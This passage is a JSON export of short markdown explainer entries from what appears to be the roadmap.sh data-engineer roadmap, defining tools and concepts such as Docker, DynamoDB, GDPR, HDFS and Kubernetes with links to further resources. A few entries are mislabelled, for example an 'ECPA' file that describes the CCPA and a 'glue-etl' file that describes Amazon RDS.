    "content": "# Docker\n\nDocker is an open-source platform that automates the deployment, scaling, and management of applications using containerization technology. It enables developers to package applications with all their dependencies into standardized units called containers, ensuring consistent behavior across different environments. Docker provides a lightweight alternative to full machine virtualization, using OS-level virtualization to run multiple isolated systems on a single host. Its ecosystem includes tools for building, sharing, and running containers, such as Docker Engine, Docker Hub, and Docker Compose. Docker has become integral to modern DevOps practices, facilitating microservices architectures, continuous integration/deployment pipelines, and efficient resource utilization in both development and production environments.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Docker Roadmap](https://roadmap.sh/docker)\n- [@official@Docker Documentation](https://docs.docker.com/)\n- [@video@Docker Tutorial](https://www.youtube.com/watch?v=RqTEHSBrYFw)\n- [@video@Docker simplified in 55 seconds](https://youtu.be/vP_4DlOH1G4)\n- [@feed@Explore top posts about Docker](https://app.daily.dev/tags/docker?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/document@sGkAOVl3C-xIIAdtDH9jq.md",
    "content": "# Document\n\n\\*\\*Document Databases are a type of No-SQL databases that store data in JSON, BSON, or XML formats, allowing for flexible, semi-structured and hierarchical data structures. These databases are characterized by their dynamic schema, scalability through distribution, and ability to intuitively map data models to application code. Popular examples include MongoDB, which allows for easy storage and retrieval of varied data types without requiring a rigid, predefined schema.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Document Database?](https://www.mongodb.com/resources/basics/databases/document-databases)\n- [@article@HDocument-oriented database](https://en.wikipedia.org/wiki/Document-oriented_database)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/dynamodb@BDfpCDOxXZ-Tp0Abj_CVW.md",
    "content": "# DynamoDB\n\nAmazon DynamoDB is a fully managed NoSQL database solution that provides fast and predictable performance with seamless scalability. It is a key-value and document database that delivers single-digit millisecond performance at any scale. DynamoDB can handle more than 10 trillion requests per day and support peaks of more than 20 million requests per second. It maintains high durability of data via automatic replication across three different zones in an Amazon defined region.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon DynamoDB](https://aws.amazon.com/dynamodb/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/ecpa@g1VwuSupohuDAT2O4hTXx.md",
    "content": "# ECPA\n\nThe California Consumer Privacy Act (CCPA) is a California state law enacted in 2020 that protects and enforces the rights of Californians regarding the privacy of consumers’ personal information (PI).\n\nVisit the following resources to learn more:\n\n- [@official@California Consumer Privacy Act (CCPA)](https://oag.ca.gov/privacy/ccpa)\n- [@article@What is the California Consumer Privacy Act (CCPA)?](https://www.ibm.com/think/topics/ccpa-compliance)\n- [@video@What is the California Consumer Privacy Act? | CCPA Explained?](https://www.youtube.com/watch?v=dpzsAgrDAO4)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/elasticsearch@_F53cV3ln2yu0ics5BFfx.md",
    "content": "# Elasticsearch\n\nElastic search at its core is a document-oriented search engine. It is a document based database that lets you INSERT, DELETE , RETRIEVE and even perform analytics on the saved records. But, Elastic Search is unlike any other general purpose database you have worked with, in the past. It's essentially a search engine and offers an arsenal of features you can use to retrieve the data stored in it, as per your search criteria. And that too, at lightning speeds.\n\nVisit the following resources to learn more:\n\n- [@official@Elasticsearch Website](https://www.elastic.co/elasticsearch/)\n- [@official@Elasticsearch Documentation](https://www.elastic.co/guide/index.html)\n- [@video@What is Elasticsearch](https://www.youtube.com/watch?v=ZP0NmfyfsoM)\n- [@feed@Explore top posts about ELK](https://app.daily.dev/tags/elk?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/encryption@2PqRgrYuJi_pPhOS0AkoP.md",
    "content": "# Encryption\n\nEncryption is used to protect data from being stolen, changed, or compromised and works by scrambling data into a secret code that can only be unlocked with a unique digital key. Encrypted data can be protected while at rest on computers or in transit between them, or while being processed, regardless of whether those computers are located on-premises or are remote cloud servers.\n\nVisit the following resources to learn more:\n\n- [@article@What is Encryption?](https://cloud.google.com/learn/what-is-encryption)\n- [@video@What is Encryption?](https://www.youtube.com/watch?v=9chKCUQ8_VQ)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/end-to-end-testing@mC9sWeC_wYHeJJHJAvxpI.md",
    "content": "# End-to-End Testing\n\nEnd-to-end or (E2E) testing is a form of testing used to assert your entire application works as expected from start to finish or \"end-to-end\". E2E testing differs from unit testing in that it is completely decoupled from the underlying implementation details of your code. It is typically used to validate an application in a way that mimics the way a user would interact with it.\n\nVisit the following resources to learn more:\n\n- [@article@End to End Testing](https://microsoft.github.io/code-with-engineering-playbook/automated-testing/e2e-testing/)\n- [@article@End to End Testing: Importance, Process, Best Practices & Frameworks](https://testgrid.io/blog/end-to-end-testing-a-detailed-guide/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/environmental-management@WUfJCLTajyLNK19gAAvoW.md",
    "content": "# Environmental Management\n\nEnvironmental management, or Environment as Code (EaC) takes the concept of Infrastructure as Code (IaC) one step further. EaC applies DevOps principles to manage and automate entire software environments—including infrastructure, applications, and configurations—using code, making them reproducible, versionable, and reliable. It extends IaC by focusing not just on the underlying servers and networks but on the complete, connected system of services and applications that run on top of it. This approach helps increase efficiency, speeds up deployments, and provides a consistent, auditable process for creating and managing development, testing, and production environments.\n\nVisit the following resources to learn more:\n\n- [@article@EWhat Is Environment as Code (EaaC)?](https://www.bunnyshell.com/blog/what-is-environment-as-code-eaac/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/etl-vs-reverse-etl@LMFREK9dH_7qzx_s2xCjI.md",
    "content": "# ETL vs Reverse ETL\n\nETL (Extract, Transform, Load) is a key process in data warehousing, enabling the integration of data from multiple sources into a centralized database.\n\nReverse ETL emerged as organizations recognized that their carefully curated data warehouses, while excellent for analysis, created a new form of data silo that prevented operational teams from accessing valuable insights. This methodology addresses the critical gap between analytical insights and operational execution by systematically moving processed data from centralized repositories back to the operational systems where business teams interact with customers and manage daily operations.\n\nVisit the following resources to learn more:\n\n- [@article@What is ETL?](https://www.snowflake.com/guides/what-etl)\n- [@article@ETL vs Reverse ETL vs Data Activation](https://airbyte.com/data-engineering-resources/etl-vs-reverse-etl-vs-data-activation)\n- [@article@ETL vs Reverse ETL: An Overview, Key Differences, & Use Cases](https://portable.io/learn/etl-vs-reverse-etl)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/eu-ai-act@tdqhFFvQ2dQVeQh1qTHjV.md",
    "content": "# EU AI Act\n\nThe Artificial Intelligence Act of the European Union, also known as the EU AI Act, is a comprehensive regulatory framework that is established to ensure safety and that fundamental human rights are upheld in the use of AI technologies. It governs the development and/or use of AI in the European Union. The act takes a risk-based approach to regulation, applying different rules to AI systems according to the risk they pose.\n\nConsidered the world's first comprehensive regulatory framework for AI, the EU AI Act prohibits some AI uses outright and implements strict governance, risk management and transparency requirements for others.\n\nVisit the following resources to learn more:\n\n- [@official@The EU AI Act Explorer](https://artificialintelligenceact.eu/ai-act-explorer/)\n- [@article@AI Act - European Commission](https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai)\n- [@article@Artificial Intelligence Act](https://en.wikipedia.org/wiki/Artificial_Intelligence_Act)\n- [@video@The EU AI Act Explained](https://www.youtube.com/watch?v=s_rxOnCt3HQ)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/extract-data@nShDMih1HmubBczxu4cfU.md",
    "content": "# Extract Data\n\nThe first step in ETL processes involves extract data from data sources to a staging area. Data can come in various types and formats, from SQL or NoSQL databases and plan text to image and video files."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/functional-testing@E4ND5XaMDGDLtlV7wTzi6.md",
    "content": "# Functional Testing\n\nFunctional testing is a type of software testing that validates the software system against the functional requirements/specifications. The purpose of functional tests is to test each function of the software application by providing appropriate input and verifying the output against the functional requirements.\n\nVisit the following resources to learn more:\n\n- [@article@What is Functional Testing? Types & Examples](https://www.guru99.com/functional-testing.html)\n- [@article@Functional Testing : A Detailed Guide](https://www.browserstack.com/guide/functional-testing)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/gdpr@MuPHohc7mJzcH5QdJ-K46.md",
    "content": "# GDPR in API Design\n\nThe General Data Protection Regulation (GDPR) is an essential standard in API Design that addresses the storage, transfer, and processing of personal data of individuals within the European Union. With regards to API Design, considerations must be given on how APIs handle, process, and secure the data to conform with GDPR's demands on data privacy and security. This includes requirements for explicit consent, right to erasure, data portability, and privacy by design. Non-compliance with these standards not only leads to hefty fines but may also erode trust from users and clients. As such, understanding the impact and integration of GDPR within API design is pivotal for organizations handling EU residents' data.\n\nVisit the following resources to learn more:\n\n- [@official@GDPR](https://gdpr-info.eu/)\n- [@article@What is GDPR Compliance in Web Application and API Security?](https://probely.com/blog/what-is-gdpr-compliance-in-web-application-and-api-security/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/git-and-github@02TADW_PPVtTU_rWV3jf1.md",
    "content": "# Git and GitHub\n\n**Git** is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency.\n\n**GitHub** is a web-based platform that provides hosting for software development and version control using Git. It is widely used by developers and organizations around the world to manage and collaborate on software projects.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@Git Documentation](https://git-scm.com/)\n- [@official@GitHub Documentation](https://docs.github.com/en/get-started/quickstart)\n- [@article@Learn Git with Tutorials, News and Tips - Atlassian](https://www.atlassian.com/git)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@video@What is GitHub?](https://www.youtube.com/watch?v=w3jLJU7DT5E)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=SWYqp7iY_Tc)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/github-actions@N8vpCfSdZCADwO_qceWBK.md",
    "content": "# GitHub Actions\n\nGitHub Actions is a CI/CD tool integrated directly into GitHub, allowing developers to automate workflows, such as building, testing, and deploying code directly from their repositories. It uses YAML files to define workflows, which can be triggered by various events like pushes, pull requests, or on a schedule. GitHub Actions supports a wide range of actions and integrations, making it highly customizable for different project needs. It provides a marketplace with reusable workflows and actions contributed by the community. With its seamless integration with GitHub, developers can take advantage of features like matrix builds, secrets management, and environment-specific configurations to streamline and enhance their development and deployment processes.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Actions Documentation](https://docs.github.com/en/actions)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/gitlab-ci@IYIO4S3DO5xkLD__XT5Dp.md",
    "content": "# GitLab CI\n\nGitLab offers a CI/CD service that can be used as a SaaS offering or self-managed using your own resources. You can use GitLab CI with any GitLab hosted repository, or any BitBucket Cloud or GitHub repository in the GitLab Premium self-managed, GitLab Premium SaaS and higher tiers.\n\nVisit the following resources to learn more:\n\n- [@official@GitLab](https://gitlab.com/)\n- [@official@GitLab Documentation](https://docs.gitlab.com/)\n- [@official@Get Started with GitLab CI](https://docs.gitlab.com/ee/ci/quick_start/)\n- [@official@Learn GitLab Tutorials](https://docs.gitlab.com/ee/tutorials/)\n- [@official@GitLab CI/CD Examples](https://docs.gitlab.com/ee/ci/examples/)\n- [@feed@Explore top posts about GitLab](https://app.daily.dev/tags/gitlab?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/glue-etl@nD36-PXHzOXePM7j9u_O_.md",
    "content": "# Amazon RDS (Database)\n\nAmazon RDS (Relational Database Service) is a web service from Amazon Web Services. It's designed to simplify the setup, operation, and scaling of relational databases in the cloud. This service provides cost-efficient, resizable capacity for an industry-standard relational database and manages common database administration tasks. RDS supports six database engines: Amazon Aurora, PostgreSQL, MySQL, MariaDB, Oracle Database, and SQL Server. These engines give you the ability to run instances ranging from 5GB to 6TB of memory, accommodating your specific use case. It also ensures the database is up-to-date with the latest patches, automatically backs up your data and offers encryption at rest and in transit.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon RDS](https://aws.amazon.com/rds/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/go@4z2i5NXTo9h3YY0kJvRrz.md",
    "content": "# Go\n\nGo, also known as Golang, is a statically typed, compiled programming language designed by Google. It combines the efficiency of compiled languages with the ease of use of dynamically typed interpreted languages. Go features built-in concurrency support through goroutines and channels, making it well-suited for networked and multicore systems. It has a simple and clean syntax, fast compilation times, and efficient garbage collection. Go's standard library is comprehensive, reducing the need for external dependencies. The language emphasizes simplicity and readability, with features like implicit interfaces and a lack of inheritance. Go is particularly popular for building microservices, web servers, and distributed systems. Its performance, simplicity, and robust tooling make it a favored choice for cloud-native development, DevOps tools, and large-scale backend systems.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Go Roadmap](https://roadmap.sh/golang)\n- [@official@Go Reference Documentation](https://go.dev/doc/)\n- [@article@Go by Example - annotated example programs](https://gobyexample.com/)\n- [@article@Go, the Programming Language of the Cloud](https://thenewstack.io/go-the-programming-language-of-the-cloud/)\n- [@video@Go Programming â€“ Golang Course with Bonus Projects](https://www.youtube.com/watch?v=un6ZyFkqFKo)\n- [@feed@Explore top posts about Golang](https://app.daily.dev/tags/golang?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/google-bigquery@Je2in1n8bMaknyeH79Zbv.md",
    "content": "# Google BigQuery\n\nBigQuery is a managed, serverless data warehouse product by Google, offering scalable analysis over large quantities of data. It is a Platform as a Service (PaaS) that supports querying using a dialect of SQL. BigQuery is NoOps, meaning there is no infrastructure to manage and you don't need a database administrator. BigQuery lets you focus on analyzing data to find meaningful insights while using familiar SQL and built-in machine learning at unmatched price-performance.\n\nVisit the following resources to learn more:\n\n- [@official@BigQuery overview](https://cloud.google.com/bigquery/docs/introduction)\n- [@official@From data warehouse to autonomous data and AI platform](https://cloud.google.com/bigquery)\n- [@video@What is BigQuery?](https://www.youtube.com/watch?v=d3MDxC_iuaw)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/google-cloud-gke@8qEgXYZEbDWC73SQSflDY.md",
    "content": "# undefined\n\nGKE - Google Kubernetes Engine\n------------------------------\n\nGoogle Kubernetes Engine (GKE) is a managed Kubernetes service provided by Google Cloud Platform. It allows organizations to deploy, manage, and scale containerized applications using Kubernetes orchestration. GKE automates cluster management tasks, including upgrades, scaling, and security patches, while providing integration with Google Cloud services. It offers features like auto-scaling, load balancing, and private clusters, enabling developers to focus on application development rather than infrastructure management.\n\nVisit the following resources to learn more:\n\n- [@official@GKE](https://cloud.google.com/kubernetes-engine)\n- [@video@What is Google Kubernetes Engine (GKE)?](https://www.youtube.com/watch?v=Rl5M1CzgEH4)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/google-cloud-storage@2lqvArZdwRX0t3P3yovEH.md",
    "content": "# Google Cloud Storage\n\nGoogle Cloud Storage (GCS) is a scalable, secure, and durable object storage service within Google Cloud Platform (GCP) designed for storing and retrieving unstructured data of any type or size. It allows users to store data in \"buckets\" and access it through APIs, web interfaces, or command-line tools for applications, backups, media hosting, and big data analytics. GCS offers different storage classes to optimize costs based on data access frequency, strong security with encryption, and high availability through redundant data storage across multiple locations.\n\nVisit the following resources to learn more:\n\n- [@article@Cloud Storage](https://cloud.google.com/storage)\n- [@article@Google Cloud Storage](https://en.wikipedia.org/wiki/Google_Cloud_Storage)\n- [@article@Cloud Storage in a minute](https://www.youtube.com/watch?v=wNOs3LlsH6k)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/google-deployment--mgr@1A98uTo8l_GQSrFxu5N2X.md",
    "content": "# Google Deployment  Mgr.\n\nGoogle Cloud Deployment Manager is an infrastructure deployment service that automates the creation and management of Google Cloud resources. It provides users with flexible template and configuration files to create deployments that have a variety of Google Cloud services, such as Cloud Storage, Compute Engine, and Cloud SQL, configured to work together.\n\nImportant, Google Deployment Manager will reach end of support on 31 December 2025. An alternative to this tool is **Google Infrastructure Manager**. Infrastructure Manager (Infra Manager) automates the deployment and management of Google Cloud infrastructure resources using Terraform. Infra Manager allows users to deploy programmatically to Google Cloud, allowing to use this service rather than maintaining a different toolchain to work with Terraform on Google Cloud.\n\nVisit the following resources to learn more:\n\n- [@official@Infrastructure Manager Overview](https://cloud.google.com/infrastructure-manager/docs/overview)\n- [@official@Google Cloud Deployment Manager documentation](https://cloud.google.com/deployment-manager/docs)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/graph@W6RnhoD7fW2xzVwnyJEDr.md",
    "content": "# Graph Databases\n\nIn a graph database, each node is a record and each arc is a relationship between two nodes. Graph databases are optimized to represent complex relationships with many foreign keys or many-to-many relationships.\n\nGraphs databases offer high performance for data models with complex relationships, such as a social network. They are relatively new and are not yet widely-used; it might be more difficult to find development tools and resources. Many graphs can only be accessed with REST APIs.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Graph database?](https://aws.amazon.com/nosql/graph/)\n- [@article@What is A Graph Database? A Beginner's Guide](https://www.datacamp.com/blog/what-is-a-graph-database)\n- [@article@Graph database](https://en.wikipedia.org/wiki/Graph_database)\n- [@video@Introduction to NoSQL](https://www.youtube.com/watch?v=qI_g07C_Q5I)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/hbase@Uho9OOWSG0bUpyH4P6hKk.md",
    "content": "# HBase\n\nHBase is a column-oriented No-SQL database management system that runs on top of Hadoop Distributed File System (HDFS), a main component of Apache Hadoop. HBase provides a fault-tolerant way of storing sparse data sets, which are common in many big data use cases. It is well suited for real-time data processing or random read/write access to large volumes of data. HBase applications are written in Java™ much like a typical Apache MapReduce application.\n\nVisit the following resources to learn more:\n\n- [@official@Apacha HBase?](https://hbase.apache.org/)\n- [@article@What is HBase?](https://www.ibm.com/think/topics/hbase)\n- [@article@Apache HBase](https://en.wikipedia.org/wiki/Apache_HBase)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/hdfs@0pH2U4GOj8zK3lgkh_r5M.md",
    "content": "# HDFS\n\nHDFS (Hadoop Distributed File System) is Hadoop’s primary storage system. It is designed to reliably store data across a cluster of machines. Its architecture is set up for this type of access to large datasets and is optimized for fault tolerance, scalability, and data locality.\n\nVisit the following resources to learn more:\n\n- [@official@HDFS Architecture Guide](https://hadoop.apache.org/docs/r1.2.1/hdfs_design.html)\n- [@article@Hadoop Distributed File System (HDFS)](https://www.databricks.com/glossary/hadoop-distributed-file-system-hdfs)\n- [@article@What is Hadoop Distributed File System (HDFS)?](https://www.ibm.com/think/topics/hdfs)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/hdfs@9lSjQBM2hWrkujxZjhQHE.md",
    "content": "# HDFS\n\nHDFS (Hadoop Distributed File System) is Hadoop’s primary storage system. It is designed to reliably store data across a cluster of machines. Its architecture is set up for this type of access to large datasets and is optimized for fault tolerance, scalability, and data locality.\n\nVisit the following resources to learn more:\n\n- [@official@HDFS Architecture Guide](https://hadoop.apache.org/docs/r1.2.1/hdfs_design.html)\n- [@article@Hadoop Distributed File System (HDFS)](https://www.databricks.com/glossary/hadoop-distributed-file-system-hdfs)\n- [@article@What is Hadoop Distributed File System (HDFS)?](https://www.ibm.com/think/topics/hdfs)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/hightouch@8NTe5-XQ5tKAWUyg1rnzb.md",
    "content": "# Hightouch\n\nHightouch is a reverse ETL and AI platform crafted for marketing and personalization, allowing companies to uncover insights, execute campaigns, and develop AI agents using their data. It features an AI Decisioning Platform for lifecycle marketing and a Composable Customer Data Platform (CDP) that is adaptable, secure, and quick to deploy, built on top of a data warehouse.\n\nVisit the following resources to learn more:\n\n- [@official@Hightouch Docs](https://hightouch.com/docs)\n- [@video@What is Hightouch? - The Data Activation Platform](https://www.youtube.com/watch?v=vMm87-MC7og)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/horizontal-vs-vertical-scaling@k_XSLLwb0Jk0Dd1sw-MpR.md",
    "content": "# Horizontal vs Vertical Scaling\n\nHorizontal scaling is the process of adding more machines or nodes to an existing pool in a system to distribute the workload and address increased load.\n\nBy contrast, vertical scaling involves increasing the computing power of individual machines in a system. This is achieved by adjusting or upgrading hardware components, such as CPU, RAM, and network speed.\n\nVisit the following resources to learn more:\n\n- [@article@Horizontal Vs. Vertical Scaling: Which Should You Choose?](https://www.cloudzero.com/blog/horizontal-vs-vertical-scaling/)\n- [@video@Vertical Vs Horizontal Scaling: Key Differences You Should Know](https://www.youtube.com/watch?v=dvRFHG2-uYs)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/hybrid@4fugNG5sEDl0kgmN3Mezk.md",
    "content": "# Hybrid\n\nHybrid data ingestion combines aspects of both real-time and batch ingestion. This approach gives you the flexibility to adapt your data ingestion strategy as your needs evolve. For example, you could process data in real-time for critical applications and in batches for less time-sensitive tasks. Two common hybrid methods are Lambda architecture-based and micro-batching.\n\nVisit the following resources to learn more:\n\n- [@article@What is Data Ingestion: Types, Tools, and Real-Life Use Cases](https://estuary.dev/blog/data-ingestion/)\n- [@article@Lambda Architecture](https://www.databricks.com/glossary/lambda-architecture)\n- [@article@What is Micro Batching: A Comprehensive Guide 101](https://hevodata.com/learn/micro-batching/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/idempotency@9xoBZgKT9uAGsjc1soelY.md",
    "content": "# Idempotency\n\nIdempotency is a crucial concept in IaC. An idempotent operation produces the same result regardless of how many times it’s executed. In the context of IaC, this means that applying the same configuration multiple times should not change the end state of the system. The role of idempotency in IaC scripts is to ensure consistency and prevent unintended side effects. For example, if a script to create a virtual machine (VM) is run twice, it should not create two VMs. Instead, it should recognize that the VM already exists and take no action.\n\nVisit the following resources to learn more:\n\n- [@article@Why idempotence was important to DevOps](https://dev.to/startpher/why-idempotence-was-important-to-devops-2jn3)\n- [@article@Idempotency: The Secret to Seamless DevOps and Infrastructure](https://medium.com/@tiwari.sushil/idempotency-the-secret-to-seamless-devops-and-infrastructure-bf22e63e1be5)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/indexing@ilbFKqhfYyykjJ7cOngwx.md",
    "content": "# Indexing\n\nIndexing is a data structure technique to efficiently retrieve data from a database. It essentially creates a lookup that can be used to quickly find the location of data records on a disk. Indexes are created using a few database columns and are capable of rapidly locating data without scanning every row in a database table each time the database table is accessed. Indexes can be created using any combination of columns in a database table, reducing the amount of time it takes to find data.\n\nIndexes can be structured in several ways: Binary Tree, B-Tree, Hash Map, etc., each having its own particular strengths and weaknesses. When creating an index, it's crucial to understand which type of index to apply in order to achieve maximum efficiency. Indexes, like any other database feature, must be used wisely because they require disk space and need to be maintained, which can slow down insert and update operations."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/infrastructure-as-code---iac@jgz7L8OSuqRNcf9buuMTj.md",
    "content": "# Infrastructure as Code - IaC\n\nInfrastructure as code (IaC) is the ability to provision and support your computing infrastructure using code instead of manual processes and settings. Manual infrastructure management is time-consuming and prone to error—especially when you manage applications at scale. Infrastructure as code lets you define your infrastructure's desired state without including all the steps to get to that state. It automates infrastructure management so developers can focus on building and improving applications instead of managing environments. Organizations use infrastructure as code to control costs, reduce risks, and respond with speed to new business opportunities.\n\nVisit the following resources to learn more:\n\n- [@article@What is Infrastructure as Code?](https://aws.amazon.com/what-is/iac/)\n- [@article@Infrastructure as Code](https://en.wikipedia.org/wiki/Infrastructure_as_code)\n- [@video@What is Infrastructure as Code?](https://www.youtube.com/watch?v=zWw2wuiKd5o)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/integration-testing@NIG53tyoEiLtwf6LvBZId.md",
    "content": "# Integration Testing\n\nIntegration Testing is a type of testing where software modules are integrated logically and tested as a group. A typical software project consists of multiple software modules coded by different programmers. This testing level aims to expose defects in the interaction between these software modules when they are integrated. Integration Testing focuses on checking data communication amongst these modules.\n\nVisit the following resources to learn more:\n\n- [@article@Integration Testing Tutorial](https://www.guru99.com/integration-testing.html)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/introduction@WSYIFni7G2C9Jr0pwuami.md",
    "content": "# Introduction\n\nData engineers are responsible for laying the foundations for the acquisition, storage, transformation, and management of data in an organization. They manage the design, creation, and maintenance of database architecture and data processing systems, ensuring that the subsequent work of analysis, BI, and machine learning model development can be carried out seamlessly, continuously, securely, and effectively.\n\nData engineers are one of the most technical profiles in the field of data science, bridging the gap between software and application developers and traditional data science positions.\n\nVisit the following resources to learn more:\n\n- [@article@How to Become a Data Engineer in 2025: 5 Steps for Career Success](https://www.datacamp.com/blog/how-to-become-a-data-engineer)\n- [@video@What Does a Data Engineer ACTUALLY Do?](https://www.youtube.com/watch?v=hTjo-QVWcK0)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/iot@KeGCHoJRHp-mBX-P5to4Y.md",
    "content": "# IoT\n\nIoT, or Internet of Things, defines a network of connected devices interacting with their environment. IoT devices extend beyond standard devices such as PC's, Laptops or Smartphones, including smart locks, connected thermostats and temperature sensors. In industrial settings, this also includes connected machines, robots, and package tracking devices, and many more. IoT Devices measure and collect data about their environment and some also interact by performing certain predefined actions, for example turning the heat up or down.\n\nVisit the following resources to learn more:\n\n- [@article@What is the Internet of Things (IoT)?](https://www.ibm.com/think/topics/internet-of-things)\n- [@article@Internet of Things](https://en.wikipedia.org/wiki/Internet_of_things)\n- [@video@What is IoT (Internet of Things)? An Introduction](https://www.youtube.com/watch?v=4FxU-xpuCww)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/java@LZ4t8CoCjGWMzE0hScTGZ.md",
    "content": "# Java\n\nJava has had a big influence on data engineering because many core big data tools and frameworks, like Hadoop, Spark (originally in Scala, which runs on the JVM), and Kafka, are built using Java or run on the Java Virtual Machine (JVM). This means Java’s performance, scalability, and cross-platform capabilities have shaped how large-scale data processing systems are designed.\n\nVisit the following resources to learn more:\n\n- [@book@Thinking in Java](https://www.amazon.co.uk/Thinking-Java-Eckel-Bruce-February/dp/B00IBON6C6)\n- [@book@Java: The Complete Reference](https://www.amazon.co.uk/gp/product/B09JL8BMK7/ref=dbs_a_def_rwt_bibl_vppi_i2)\n- [@article@@courseIntroduction to Java by Hyperskill (JetBrains Academy)](https://hyperskill.org/courses/8)\n- [@article@Effective Java](https://www.amazon.com/Effective-Java-Joshua-Bloch/dp/0134685997)\n- [@video@Java Tutorial for Beginners](https://www.youtube.com/watch?v=eIrMbAQSU34&feature=youtu.be)\n- [@video@Java + DSA + Interview Preparation Course (For beginners)](https://www.youtube.com/playlist?list=PL9gnSGHSqcnr_DxHsP7AW9ftq0AtAyYqJ)\n- [@feed@Explore top posts about Java](https://app.daily.dev/tags/java?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/job-scheduling@ccc6_SzDwXpCL1WbFuPNA.md",
    "content": "# Job Scheduling\n\nA scheduling system manages and distributes computational jobs across multiple interconnected computers (a cluster) to optimize resource utilization and job completion. The goal is to efficiently allocate cluster resources (like processors and memory) to incoming jobs based on factors such as user priority, job requirements, and deadlines.\n\nVisit the following resources to learn more:\n\n- [@article@Job scheduler](https://en.wikipedia.org/wiki/Job_scheduler)\n- [@article@Cluster Resources — Job Scheduling](https://supun-kamburugamuve.medium.com/cluster-resources-job-scheduling-bb63644476bc)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/key-value@fSlBjoNVKstJjWO7rS69V.md",
    "content": "# Key-Value\n\nKey value databases, also known as key value stores, are NoSQL database types where data is stored as key value pairs and optimized for reading and writing that data. The data is fetched by a unique key or a number of unique keys to retrieve the associated value with each key. Both keys and values can be anything, ranging from simple objects to complex compound objects. Key-value databases are highly partitionable and allow horizontal scaling at a level that other types of databases cannot achieve.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Key Value Database? - AWS](https://aws.amazon.com/nosql/key-value/)\n- [@article@What Is A Key-Value Database? - MongoDB](https://www.mongodb.com/resources/basics/databases/key-value-database)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/kubernetes@I_IueX1DFp-LmBwr1-suX.md",
    "content": "# Kubernetes\n\nKubernetes is an [open source](https://github.com/kubernetes/kubernetes) container management platform, and the dominant product in this space. Using Kubernetes, teams can deploy images across multiple underlying hosts, defining their desired availability, deployment logic, and scaling logic in YAML. Kubernetes evolved from Borg, an internal Google platform used to provision and allocate compute resources (similar to the Autopilot and Aquaman systems of Microsoft Azure).\n\nThe popularity of Kubernetes has made it an increasingly important skill for the DevOps Engineer and has triggered the creation of Platform teams across the industry. These Platform engineering teams often exist with the sole purpose of making Kubernetes approachable and usable for their product development colleagues.\n\nVisit the following resources to learn more:\n\n- [@official@Kubernetes Website](https://kubernetes.io/)\n- [@official@Kubernetes Documentation](https://kubernetes.io/docs/home/)\n- [@article@Primer: How Kubernetes Came to Be, What It Is, and Why You Should Care](https://thenewstack.io/primer-how-kubernetes-came-to-be-what-it-is-and-why-you-should-care/)\n- [@article@Kubernetes: An Overview](https://thenewstack.io/kubernetes-an-overview/)\n- [@video@Kubernetes Crash Course for Absolute Beginners](https://www.youtube.com/watch?v=s_o8dwzRlu4)\n- [@feed@Explore top posts about Kubernetes](https://app.daily.dev/tags/kubernetes?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/kubernetes@kcgDW6AFW7WXzXMTPE6J-.md",
